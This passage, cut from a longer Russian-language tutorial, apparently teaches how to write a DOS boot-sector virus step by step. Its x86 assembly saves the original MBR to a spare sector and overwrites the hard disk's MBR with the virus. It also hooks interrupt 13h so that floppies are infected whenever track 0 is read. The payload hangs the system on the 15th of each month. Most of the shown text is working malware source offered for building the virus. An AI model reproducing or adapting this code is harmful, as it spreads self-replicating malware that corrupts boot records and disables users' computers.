ние от начала вирусного кода до метки "read_boot",
с которой и начинается код,выполняющий переопреде-
ление вектора Int 13h на вирусный обработчик.До-
полнительных пояснений работа фрагмента не требу-
ет.
1.9 Читаем исходную BOOT - запись
Сначала договоримся, где наш вирус будет хранить
настоящую загрузочную запись ( BOOT - для дискет
или MBR - для жестких дисков ).
Обычно на нулевой дорожке нулевой стороны винчес-
тера используется только самый первый сектор,а ос-
тальные свободны. Поэтому было бы естественно сох-
ранить MBR в одном из секторов нулевой дорожки.Нас
заинтересовал сектор с номером 12,но можно было бы
взять и любой другой. Только не следует выбирать
сектора с очень большими номерами. Может случиться
так, что, например сектора с номером 100 на диске
просто не существует ( особенно это относится к
старым накопителям ). Оптимальный номер - не выше
двадцати.
Для дискет оригинальную BOOT - запись лучше всего
записывать в последний сектор последней дорожки на
первой стороне заражаемого диска .
Для того, чтобы с зараженного диска можно было за-
грузиться, вирус должен считать исходную загрузоч-
ную запись в память по адресу : 0000:7C00h и после
выполнения необходимых действий передать ей упра-
вление :
mov dx,num_head - 100h ;Считаем настоя-
mov cx,cyl_sect - 100h ;щий загрузочный
mov bx,7c00h ;сектор в память
mov ax,0201h ;по адресу
int 13h ;0000:7C00h
В приведенном фрагменте задействованы ячейки памя-
ти :
num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
;головки,дорожки
;и сектора зара-
;женного диска ,
;в которых запи-
;сана настоящая
;загрузочная
;запись .
Несколько позже мы разберемся,как определяются по-
мещаемые в них значения.
1.10 Заражаем MBR винчестера
Следуя алгоритму, настало время проверить, зараже-
на - ли MBR первого жесткого диска, и если нет -
заразить ее. Поэтому приступим к делу :
push cs ;ES = CS
pop es ;
;
mov dl,0080h ;Считаем MBR
call cs:read_mbr ;винчестера
jc cs:to_quit ;по адресу
;CS:0400h, при-
;чем загрузка
;сейчас может
;производиться
;и с дискеты !
cmp byte ptr ds:[400h],33h ;MBR уже зара-
je cs:to_quit ;жена ?
;
mov dx,0080h ;Нулевая головка
;первого жестко-
;го диска
mov cx,000ch ;Сектор 12,
;дорожка 0
mov dl_save - 100h,dl ;
;Сохраним эти
;параметры .
call cs:write_mbr_last ;Кроме того,
;перепишем нас-
;тоящую MBR в
;сектор 12
jc cs:to_quit ;нулевой дорожки
;на нулевой сто-
;роне HDD .
xor si,si ;Сформируем код
mov additor - 100h,00h ;для записи его
mov cx,prg_lenght ;
copy_vir_mbr: ;на место исход-
mov al,byte ptr ds:[si];ной MBR
mov byte ptr ds:[si + 400h],al ;
inc si ;
loop cs:copy_vir_mbr ;
;
mov dx,0080h ;Запишем этот
call cs:write_mbr ;код в первый
;сектор нулевой
;дорожки нулевой
;стороны винчес-
;тера
to_quit: mov ah,04h ;Наш
int 1ah ;вирус при
jc cs:bad_clock ;загрузке по
cmp dl,15h ;15 - м числам
vis: je cs:vis ;вешает систему
bad_clock: popf ;Восстановим из
pop es ;стека
pop ds ;регистры
pop si ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
;
db 0eah ;И отдадим упра-
dw 7c00h ;вление настоя-
dw 0000h ;щей загрузочной
;записи ( MBR )
Как вы видите, вирус достаточно свободно " чувст-
вует " себя в памяти. В самом деле - свой код он
записывает в младшие 512 байт первого " отрезанно-
го " у DOS килобайта, а MBR винчестера считывает
в младшие 512 байт второго килобайта. Так сделано
для большей понятности программы и облегчения про-
граммирования, но один килобайт памяти фактически
тратится впустую ( что с некоторой натяжкой можно
отнести к вредным действиям нашего вируса ).
Процедура " read_mbr " читает сектор 1 дорожки 0
на нулевой стороне указанного диска.
Процедура " write_mbr " записывает данные из буфе-
ра по адресу : CS:0400h в сектор 1 дорожки 0 на
нулевой стороне указанного диска.
Процедура " write_mbr_last " записывает данные из
буфера по адресу : CS:0400h в заданный сектор то-
го или иного диска и заполняет ячейки памяти :
num_head
и cyl_sect.
Для проверки зараженности MBR вирус сравнивает ее
первый байт с первым байтом своего кода - числом
33h.
Далее, в поле " additor " заносится число 00h,
необходимое для корректной загрузки с винчестера.
Стоит отметить, что заражение MBR происходит ис-
ключительно при загрузке с зараженной дискеты. Ко-
гда операционная система будет загружена,вирус бу-
дет инфицировать только гибкие диски при попытке
прочитать их содержимое.А поскольку никому не при-
дет в голову менять жесткие диски во включенной в
сеть и работающей машине, нет смысла предусматри-
вать заражение MBR в резидентном режиме. Если же
попробовать проделать вышеописанную процедуру, то
компьютер с высокой вероятностью выйдет из строя,и
вирус " погибнет " вместе с ним.
1.11 Пишем обработчик прерывания Int 13h
Наконец все подготовительные действия завершены, и
мы можем заняться разработкой вирусного обработчи-
ка прерывания Int 13h. Именно этот обработчик дол-
жен отслеживать операции с гибкими дисками и при
необходимости заражать их.
Начнем с выяснения условий, при которых вирус дол-
жен будет заразить BOOT - сектор дискеты.Пусть за-
ражение будет выполняться в том случае,если проис-
ходит чтение любого сектора нулевой дорожки нуле-
вой стороны, кроме первого.Исходя из этого, можно
записать :
;Далее следует
;вирусный обра-
;ботчик Int 13h
to_new_13h equ $ - my_prg ;
;
new_13h: pushf ;Сохраним флаги
cmp dl,01h ;Операция с дис-
;ководом " A "
;или " B " ?
ja cs:to_sys_13h ;Нет !
cmp ah,02h ;Чтение ?
jne cs:to_sys_13h ;Нет !
cmp ch,00h ;Дорожка " 0 " ?
jne cs:to_sys_13h ;Нет !
cmp cl,01h ;Сектор-первый ?
je cs:to_sys_13h ;Да !
call cs:boot_infect ;Вызовем проце-
;дуру заражения
;BOOT - секторов
;дискет
to_sys_13h: ;
popf ;Восстановим
;флаги
db 0eah ;Перейдем к сис-
old_13h dw 0 ;темному обра-
old_13h_2 dw 0 ;ботчику Int 13h
Обратите внимание, что при чтении секторов 2...N
нулевой дорожки нулевой стороны дискеты упра-
вление передается процедуре " boot_infect ", кото-
рая занимается заражением гибких дисков. Если бы
заражение происходило при чтении любого сектора,то
на зараженной машине все операции с дисководом вы-
полнялись бы раздражающе медленно.
Для передачи управления системному обработчику Int
13h используется обычная команда далекого перехо-
да, записанная в виде машинной инструкции.
Теперь разработаем процедуру " boot_infect ",зара-
жающую дискеты. Естественно сделать ее по аналогии
с фрагментом, который " работает " с винчестером .
Поэтому :
boot_infect proc ;
push ax ;Сохраним реги-
push bx ;стры в стеке
push cx ;прерванного
push dx ;процесса
push di ;
push ds ;
push es ;
pushf ;
;
push cs ;ES = CS
pop es ;
;
push cs ;DS = CS
pop ds ;
;
mov cx,3 ;Попробуем про-
next_read: push cx ;честь BOOT -
;сектор дискеты.
call cs:read_mbr ;На это даем три
pop cx ;попытки (напри-
jnc cs:inf_check ;мер,если двига-
;тель дисковода
;не успел разо-
;гнаться до ра-
;бочей скорости,
;то BIOS вернет
;ошибку -дискета
;сменена ! )
xor ah,ah ;При ошибке -
pushf ;сбросим текущий
call dword ptr old_13h - 100h ;дисковод
jc cs:to_jump ;и повторим
loop cs:next_read ;чтение
to_jump: jmp cs:restore_regs ;
;BOOT - сектор
;заражен ?
inf_check: cmp byte ptr ds:[455h],33h
je cs:to_jump ;Да !